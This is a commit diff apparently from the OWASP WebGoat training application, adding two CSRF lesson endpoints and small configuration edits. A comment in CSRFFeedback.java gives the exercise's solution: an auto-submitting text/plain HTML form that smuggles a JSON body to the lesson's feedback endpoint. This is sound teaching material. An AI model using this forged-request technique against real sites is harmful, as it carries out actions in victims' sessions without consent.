Added more content for CSRF lesson

.gitignore

@@ -14,7 +14,8 @@
 /.settings/org.eclipse.wst.validation.prefs
 /.externalToolBuilders/
 .project
-/target
+*/target/*
+mongo-data/*
 .classpath
 .idea/
 .settings/
@@ -29,6 +30,7 @@ src/main/webapp/plugin_lessons/*.jar
 src/main/webapp/users/*.props
 classes/*
 *.iml
+pom.xml.versionsBackup
 
 /*.iml
 .extract/*
@@ -39,3 +41,4 @@ webgoat-lessons/**/target
 **/*.jar
 **/.DS_Store
 webgoat-server/mongo-data/*
+webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml

webgoat-container/src/main/java/org/owasp/webgoat/users/UserForm.java

@@ -15,7 +15,7 @@
 public class UserForm {
 
     @NotNull
-    @Size(min=6, max=10)
+    @Size(min=6, max=20)
     private String username;
     @NotNull
     @Size(min=6, max=10)

webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java

@@ -0,0 +1,88 @@
+package org.owasp.webgoat.plugin;
+
+import com.fasterxml.jackson.databind.ObjectMapper;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.commons.lang3.exception.ExceptionUtils;
+import org.owasp.webgoat.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.assignments.AssignmentHints;
+import org.owasp.webgoat.assignments.AssignmentPath;
+import org.owasp.webgoat.assignments.AttackResult;
+import org.owasp.webgoat.session.UserSessionData;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.http.MediaType;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestBody;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import java.io.IOException;
+import java.util.Map;
+import java.util.UUID;
+
+/**
+ * @author nbaars
+ * @since 11/17/17.
+ */
+@AssignmentPath("/csrf/feedback")
+@AssignmentHints({"csrf-feedback-hint1", "csrf-feedback-hint2", "csrf-feedback-hint3"})
+public class CSRFFeedback extends AssignmentEndpoint {
+
+    @Autowired
+    private UserSessionData userSessionData;
+    @Autowired
+    private ObjectMapper objectMapper;
+
+    @PostMapping(value = "/message", produces = {"application/json"})
+    @ResponseBody
+    public AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {
+        try {
+            objectMapper.readValue(feedback.getBytes(), Map.class);
+        } catch (IOException e) {
+           return failed().feedback(ExceptionUtils.getStackTrace(e)).build();
+        }
+        boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().equals(MediaType.TEXT_PLAIN_VALUE);
+        correctCSRF &= hostOrRefererDifferentHost(request);
+        if (correctCSRF) {
+            String flag = UUID.randomUUID().toString();
+            userSessionData.setValue("csrf-feedback", flag);
+            return success().feedback("csrf-feedback-success").feedbackArgs(flag).build();
+        }
+        return failed().build();
+    }
+
+    @PostMapping(produces = "application/json")
+    @ResponseBody
+    public AttackResult flag(@RequestParam("confirmFlagVal") String flag) {
+        if (flag.equals(userSessionData.getValue("csrf-feedback"))) {
+            return trackProgress(success().build());
+        } else {
+            return trackProgress(failed().build());
+        }
+    }
+
+    private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
+        String referer = request.getHeader("referer");
+        String host = request.getHeader("host");
+        return !StringUtils.contains(referer, host);
+    }
+
+    private boolean requestContainsWebGoatCookie(Cookie[] cookies) {
+        if (cookies != null) {
+            for (Cookie c : cookies) {
+                if (c.getName().equals("JSESSIONID")) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    /** Solution
+     <form name="attack" enctype="text/plain" action="http://localhost:8080/WebGoat/csrf/feedback/message" METHOD="POST">
+     <input type="hidden" name='{"name": "Test", "email": "[email protected]", "subject": "service", "message":"dsaffd"}'>
+     </form>
+     <script>document.attack.submit();</script>
+     */
+}

webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFLogin.java

@@ -0,0 +1,40 @@
+package org.owasp.webgoat.plugin;
+
+import org.owasp.webgoat.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.assignments.AssignmentHints;
+import org.owasp.webgoat.assignments.AssignmentPath;
+import org.owasp.webgoat.assignments.AttackResult;
+import org.owasp.webgoat.users.UserTracker;
+import org.owasp.webgoat.users.UserTrackerRepository;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+/**
+ * @author nbaars
+ * @since 11/17/17.
+ */
+@AssignmentPath("/csrf/login")
+@AssignmentHints({"csrf-login-hint1", "csrf-login-hint2", "csrf-login-hint3"})
+public class CSRFLogin extends AssignmentEndpoint {
+
+    @Autowired
+    private UserTrackerRepository userTrackerRepository;
+
+    @PostMapping(produces = {"application/json"})
+    @ResponseBody
+    public AttackResult completed() {
+        String userName = getWebSession().getUserName();
+        if (userName.startsWith("csrf")) {
+            markAssignmentSolvedWithRealUser(userName.substring("csrf-".length()));
+            return trackProgress(success().feedback("csrf-login-success").build());
+        }
+        return trackProgress(failed().feedback("csrf-login-failed").feedbackArgs(userName).build());
+    }
+
+    private void markAssignmentSolvedWithRealUser(String username) {
+        UserTracker userTracker = userTrackerRepository.findOne(username);
+        userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName());
+        userTrackerRepository.save(userTracker);
+    }
+}